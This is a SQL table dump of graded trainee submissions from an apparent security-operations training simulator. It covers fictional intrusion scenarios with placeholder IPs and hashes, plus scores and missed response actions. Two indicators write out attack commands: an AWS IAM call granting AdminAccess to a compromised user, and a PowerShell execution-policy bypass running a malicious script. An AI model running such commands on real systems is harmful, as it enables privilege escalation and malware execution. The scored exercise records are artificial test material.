(247, 165, 756, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.77\",\"cmd-1\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 16/2/2026, 11:16:05 pm\\nALERT: Unauthorized IAM Privilege Escalation Attempt\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 203.0.113.77\\n- [COMMAND] aws iam put-user-policy --user-name compromised_user --policy-name AdminAccess --policy-document file://admin_policy.json\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (5)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-16T17:46:11.348Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"audit_user_activity\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-16 17:45:13', '2026-02-28 21:00:00', 0, NULL),
(248, 45, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 02:54:23', '2026-02-17 02:54:23', 0, NULL),
(249, 166, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 15:29:09', '2026-02-17 15:29:09', 0, NULL),
(250, 108, 1235, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 17:17:01', '2026-02-17 17:17:01', 0, NULL),
(251, 157, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-17 22:29:14', '2026-02-17 22:29:14', 0, NULL),
(252, 169, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.15\",\"ip-192.168.1.100\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:20:44 AM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:20:57.487Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:17:18', '2026-02-28 21:00:00', 0, NULL),
(253, 169, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:22:55 AM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:23:00.723Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_ip\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:20:57', '2026-02-28 21:00:00', 0, NULL),
(254, 169, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:24:20 AM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:24:25.229Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:23:00', '2026-02-28 21:00:00', 0, NULL),
(255, 169, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:26:13 AM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:26:18.573Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:24:25', '2026-02-28 21:00:00', 0, NULL),
(256, 169, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:27:46 AM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:27:51.140Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:26:18', '2026-02-28 21:00:00', 0, NULL),
(257, 169, 274, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:28:57 AM\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:29:01.521Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:28:06', '2026-02-28 21:00:00', 0, NULL),
(258, 169, 275, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:29:41 AM\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:29:46.297Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:29:01', '2026-02-28 21:00:00', 0, NULL),
(259, 169, 276, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"block_hash\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:30:33 AM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:30:38.052Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:29:46', '2026-02-28 21:00:00', 0, NULL),
(260, 169, 277, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"escalate\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:31:00 AM\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:31:05.516Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:30:38', '2026-02-28 21:00:00', 0, NULL),
(261, 169, 278, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"block_hash\",\"isolate_host\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:33:38 AM\\nALERT: Compromised Update Detected [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e5d8870e5bdd26602c622b7e5b0f6b4c\\n- [FILENAME] lib_mgmt.dll\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:33:42.401Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:31:21', '2026-02-28 21:00:00', 0, NULL),
(262, 169, 279, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:34:05 AM\\nALERT: Execution of Malicious Code [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] malicious.dll\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:34:11.520Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:33:42', '2026-02-28 21:00:00', 0, NULL),
(263, 169, 280, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-abc123de\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:34:35 AM\\nALERT: Establish Persistence [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] abc123def4567890abc123def4567890\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:34:39.301Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:34:11', '2026-02-28 21:00:00', 0, NULL),
(264, 169, 281, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.55\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_6\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"block_hash\",\"reset_credentials\",\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:35:58 AM\\nALERT: Lateral Movement and Data Exfiltration [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.55\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_data.xlsx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:36:03.538Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:34:39', '2026-02-28 21:00:00', 0, NULL),
(265, 169, 285, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.34\",\"ip-10.0.2.15\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:40:09 AM\\nALERT: Spear-Phishing Email Campaign Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.34\\n- [IP] 10.0.2.15\\n- [EMAIL] john.doe@fakeorg.com\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [URL] http://malicious-link.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:40:14.400Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:36:11', '2026-02-28 21:00:00', 0, NULL),
(266, 169, 286, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.14.22.5\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"domain-http://login\",\"domain-login-secure\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:41:42 AM\\nALERT: Malicious Domain Infrastructure Identified [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.14.22.5\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] http://login-secure-portal.com/login\\n- [DOMAIN] login-secure-portal.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:41:47.317Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:40:14', '2026-02-28 21:00:00', 0, NULL),
(267, 169, 287, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_2\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"collect_forensics\",\"isolate_host\",\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:42:33 AM\\nALERT: OAuth Token Abuse Technique Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] j.doe@company.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:42:36.455Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:41:47', '2026-02-28 21:00:00', 0, NULL),
(268, 169, 288, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-18 07:42:36', '2026-02-18 07:42:36', 0, NULL),
(269, 170, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-18 08:19:53', '2026-02-18 08:19:53', 0, NULL),
(270, 171, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-18 09:49:56', '2026-02-18 09:49:56', 0, NULL),
(271, 178, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-19 05:19:23', '2026-02-19 05:19:23', 0, NULL),
(272, 177, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:25:52 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:56:28.351Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-19 14:40:27', '2026-02-28 21:00:00', 0, NULL),
